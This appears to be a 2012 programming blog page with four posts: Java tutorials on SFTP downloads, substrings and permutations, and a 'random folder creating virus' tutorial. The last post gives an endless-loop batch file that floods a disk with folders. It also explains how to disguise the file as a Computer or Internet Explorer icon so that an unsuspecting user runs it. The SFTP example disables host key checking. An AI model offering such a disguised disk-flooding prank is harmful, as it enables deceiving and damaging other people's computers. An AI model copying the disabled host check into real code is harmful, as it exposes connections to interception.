Posts which you will also like.

Tuesday, December 25, 2012

How to create SFTP connection using java ?



In this blog post we will learn how to create a secure FTP connection using java.SFTP is much more secure than its predecessor FTP since SFTP is based on SSH.
Here We will develop a SFTP client.Basically SFTP clients are programs that use SSH to access, manage, and transfer files. SFTP clients are functionally similar to FTP clients, but they use different protocols.
To create a SFTP connection to a server for file transfer or any other FTP operation we will use an open source library called JSCh. You can download this library from http://www.jcraft.com/
Add this library to your class path and start creating the program.
This example shows how to get a file from the server using SFTP.
package com.techy.rajeev;

import com.jcraft.jsch.*;

    /**
     * @param args
     */

    public class SFTPTest {
    public static void main(String args[]) {
        JSch jsch = new JSch();
        Session session = null;
        String username="";//Put your username here
        String password="";//Put your password here
        String host="";//Hostname
        String sourceFile="";//Path of file on the server
        String destFile="";//Path of local file
        try {
            session = jsch.getSession(username,host,22);
            session.setConfig("StrictHostKeyChecking", "no");
            session.setPassword(password);
            session.connect();

            Channel channel = session.openChannel("sftp");
            channel.connect();
            ChannelSftp sftpChannel = (ChannelSftp) channel;

            sftpChannel.get(sourceFile,destFile);
            sftpChannel.exit();
            session.disconnect();
        } catch (JSchException e) {
            e.printStackTrace(); 
        } catch (SftpException e) {
            e.printStackTrace();
        }
    }
Read More ->>

Monday, December 17, 2012

Java program to generate all possible sub string of a string


This simple java program generates all possible sub string of given string.You can replace string with StringBuilder or StringBuffer where performance is issue.
package com.techy.rajeev;

public class GenStr {

    /**
     * @param args
     */
    public static void genAllSubStr(String str){
        for(int i=0;i<str.length();i++){
            for(int j=i;j<str.length();j++){
                System.out.println(str.substring(i, j+1));
            }
        }
    }
    public static void main(String[] args) {
        genAllSubStr("abc");
    }

}


Output:

a
ab
abc
b
bc
c

Read More ->>

Tuesday, December 4, 2012

Java program to generate permutation of a string


This post is about generating permutation of a string using a java program.This program has a static method  genPerm() method which is used for generation of permutation of the string. genPerm() method is recursive and takes two string arguments and prints the permutations of the second string.
Source Code:
public class GeneratePerm {

    /**
     * @param args
     */
    public static void genPerm(String pString,String sb){
        if(pString.length()==3)
            System.out.println(pString);
        for(int i=0;i<sb.length();i++){
            genPerm(pString+sb.charAt(i),sb.replaceFirst(sb.charAt(i)+"",""));
        }
    }
    public static void main(String[] args) {
        String sb=new String("abc");
        genPerm("",sb);
    }

}

Output:
abc
acb
bac
bca
cab
cba

Read More ->>

Tuesday, October 2, 2012

How to create random folder creating virus?



In this blog post I will teach you how to create more than 5000 random folders in a minute but before this I want to warn you that I do not take any responsibility for causing harm to your or any other computer.This tutorial is just for informative purpose only Smile.


Techyrajeev.blogspot.com


For this we will use the help of bat files and simple dos commands.So follow the step by step procedure for creating random folder creating virus if you want to create one.

Step 1: Open the notepad or any other text editor

Step 2: Type the following things

@ECHO OFF
:LABEL
md %RANDOM%
GOTO LABEL

 
Explanation: This is very simple bat file which runs infinitely with the help of recursive(self) calling(GOTO LABEL) and between these calls we are creating empty directory using md(You can write any other command instead of md).


Step 3: Now save it with Computer.bat in your hard disk.


Step 4: Now send it’s shortcut to desktop and change it’s default icon to icon of the computer or anything you like e.g Internet Explorer but do not forget to change the name accordingly.
ComputerBat
Step 5: Now delete or hide the original one from desktop so that user of the system will click on the fake one.Njoy the magic of bat files Thumbs up.AfterComputer
Read More ->>
DMCA.com Protected by Copyscape Online Plagiarism Tool